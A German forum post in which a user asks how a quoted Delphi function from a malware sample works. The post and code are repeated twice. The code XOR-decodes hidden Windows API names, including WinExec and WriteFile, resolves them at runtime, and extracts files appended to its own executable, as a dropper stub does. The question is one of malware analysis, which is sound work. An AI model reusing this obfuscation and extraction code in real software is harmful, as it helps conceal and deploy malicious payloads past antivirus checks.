SUID:root
Member of Honour
Hallo zusammen.
Ich sehe mir gerade einen Malware-Code an und versuche ihn zu verstehen und hänge an dieser Funktion.
Unklar ist mir dabei, woher die Werte #97#111#120#, etc.. kommen, bzw was sie tun (was hat es mit diesen Libs auf sich?)
Hat jemand eine Erklärung?
function Cipher(Data: pchar; Len: integer): string;
var
DataLoop: integer;
begin
for DataLoop := 0 to Len - 1 do
begin
Result := Result + chr(ord(Data[DataLoop]) xor ByteKey);
end;
end;
begin
Libs[0] := pchar(Cipher(#97#111#120#100#111#102#57#56#10, 9));
Libs[1] := pchar(Cipher(#73#102#101#121#111#66#107#100#110#102#111#10, 12));
Libs[2] := pchar(Cipher(#73#120#111#107#126#111#76#99#102#111#75#10, 12));
Libs[3] := pchar(Cipher(#77#111#126#76#99#102#111#89#99#112#111#10, 12));
Libs[4] := pchar(Cipher(#77#111#126#94#111#103#122#90#107#126#98#75#10, 13));
Libs[5] := pchar(Cipher(#88#111#107#110#76#99#102#111#10, 9));
Libs[6] := pchar(Cipher(#89#111#126#76#99#102#111#90#101#99#100#126#111#120#10, 15));
Libs[7] := pchar(Cipher(#93#99#100#79#114#111#105#10, 8));
Libs[8] := pchar(Cipher(#93#120#99#126#111#76#99#102#111#10, 10));
hKernel := LoadLibrary(Libs[0]);
@CloseHandle2 := GetProcAddress(hKernel, Libs[1]);
@CreateFile2 := GetProcAddress(hKernel, Libs[2]);
@GetFileSize2 := GetProcAddress(hKernel, Libs[3]);
@GetTempPath2 := GetProcAddress(hKernel, Libs[4]);
@ReadFile2 := GetProcAddress(hKernel, Libs[5]);
@SetFilePointer2 := GetProcAddress(hKernel, Libs[6]);
@WinExec2 := GetProcAddress(hKernel, Libs[7]);
@WriteFile2 := GetProcAddress(hKernel, Libs[8]);
Input := CreateFile2(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ImageSize := GetFileSize2(Input, nil);
SetFilePointer2(Input, ImageSize - 4, nil, FILE_BEGIN);
ReadFile2(Input, FileCount, 4, Bytes, nil);
FileCount := FileCount xor ByteKey;
LoadFileInformationStructures;
for ExtractLoop := Low(Files) to High(Files) do
begin
Extract(string(Files[ExtractLoop].FileName), Files[ExtractLoop].Offset, Files[ExtractLoop].Size);
end;
Ich sehe mir gerade einen Malware-Code an und versuche ihn zu verstehen und hänge an dieser Funktion.
Unklar ist mir dabei, woher die Werte #97#111#120#, etc.. kommen, bzw was sie tun (was hat es mit diesen Libs auf sich?)
Hat jemand eine Erklärung?
function Cipher(Data: pchar; Len: integer): string;
var
DataLoop: integer;
begin
for DataLoop := 0 to Len - 1 do
begin
Result := Result + chr(ord(Data[DataLoop]) xor ByteKey);
end;
end;
begin
Libs[0] := pchar(Cipher(#97#111#120#100#111#102#57#56#10, 9));
Libs[1] := pchar(Cipher(#73#102#101#121#111#66#107#100#110#102#111#10, 12));
Libs[2] := pchar(Cipher(#73#120#111#107#126#111#76#99#102#111#75#10, 12));
Libs[3] := pchar(Cipher(#77#111#126#76#99#102#111#89#99#112#111#10, 12));
Libs[4] := pchar(Cipher(#77#111#126#94#111#103#122#90#107#126#98#75#10, 13));
Libs[5] := pchar(Cipher(#88#111#107#110#76#99#102#111#10, 9));
Libs[6] := pchar(Cipher(#89#111#126#76#99#102#111#90#101#99#100#126#111#120#10, 15));
Libs[7] := pchar(Cipher(#93#99#100#79#114#111#105#10, 8));
Libs[8] := pchar(Cipher(#93#120#99#126#111#76#99#102#111#10, 10));
hKernel := LoadLibrary(Libs[0]);
@CloseHandle2 := GetProcAddress(hKernel, Libs[1]);
@CreateFile2 := GetProcAddress(hKernel, Libs[2]);
@GetFileSize2 := GetProcAddress(hKernel, Libs[3]);
@GetTempPath2 := GetProcAddress(hKernel, Libs[4]);
@ReadFile2 := GetProcAddress(hKernel, Libs[5]);
@SetFilePointer2 := GetProcAddress(hKernel, Libs[6]);
@WinExec2 := GetProcAddress(hKernel, Libs[7]);
@WriteFile2 := GetProcAddress(hKernel, Libs[8]);
Input := CreateFile2(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ImageSize := GetFileSize2(Input, nil);
SetFilePointer2(Input, ImageSize - 4, nil, FILE_BEGIN);
ReadFile2(Input, FileCount, 4, Bytes, nil);
FileCount := FileCount xor ByteKey;
LoadFileInformationStructures;
for ExtractLoop := Low(Files) to High(Files) do
begin
Extract(string(Files[ExtractLoop].FileName), Files[ExtractLoop].Offset, Files[ExtractLoop].Size);
end;